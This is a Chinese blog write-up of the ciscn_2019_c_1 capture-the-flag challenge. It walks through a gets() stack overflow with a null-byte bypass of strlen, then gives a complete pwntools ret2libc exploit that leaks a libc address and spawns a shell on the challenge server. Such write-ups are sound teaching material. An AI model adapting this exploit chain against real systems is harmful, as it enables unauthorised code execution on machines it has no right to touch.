ciscn_2019_c_1


ciscn_2019_c_1

检查保护机制,64位,开NX

IDA打开后F5查看main函数

发现没有之前做的gets()栈溢出,但是发现了一个encrypt函数,点开之后查看,找到了gets函数

读得内容为gets读取输入内容进入while循环之后是由strlen检查长度,strlen是从字符串开头检测到第一个\x00截断,所以只要在payload的开头置0让strlen判断错误就可以避免对payload的破坏。

小技巧:遇到strlen和strcmp这两个只需要在payload里放一个\x00就可以绕过

但这里没有发现后门函数,于是只能自己构造rop链。

puts()可以用来泄露libc基址。

gets()可以用来栈溢出,栈大小0x50。

exp

from pwn import*
from LibcSearcher import*

content = 0
context(os='linux', arch='amd64', log_level='debug')

ret = 0x4006b9      
elf = ELF('ciscn_2019_c_1')

puts_plt = elf.plt["puts"] 
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]

pop_rdi_ret = 0x400c83      #×64程序基本都存在的一个地址pop rdi;ret


def main():
	if content == 1:
		p = process('ciscn_2019_c_1')
	else:	
		p = remote('node3.buuoj.cn',29999)

	payload = b'a' * (0x50 + 8)
	payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

	p.sendlineafter('Input your choice!\n', '1')
	p.sendlineafter('Input your Plaintext to be encrypted\n', payload)

	p.recvuntil('Ciphertext\n')	
	p.recvline()
	puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
	print(puts_addr)      #找出puts的地址

	libc = LibcSearcher('puts', puts_addr)

	libc_base   = puts_addr - libc.dump('puts')      #找出函数地址偏移量
	system_addr = libc_base + libc.dump('system')      #计算出system的在程序中的地址
	binsh_addr  = libc_base + libc.dump('str_bin_sh')	

	payload = b'a' * (0x50 + 8)
	payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

	p.sendlineafter('Input your choice!\n', '1')
	p.sendlineafter('Input your Plaintext to be encrypted\n', payload)

	p.interactive()

main()

cat flag


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录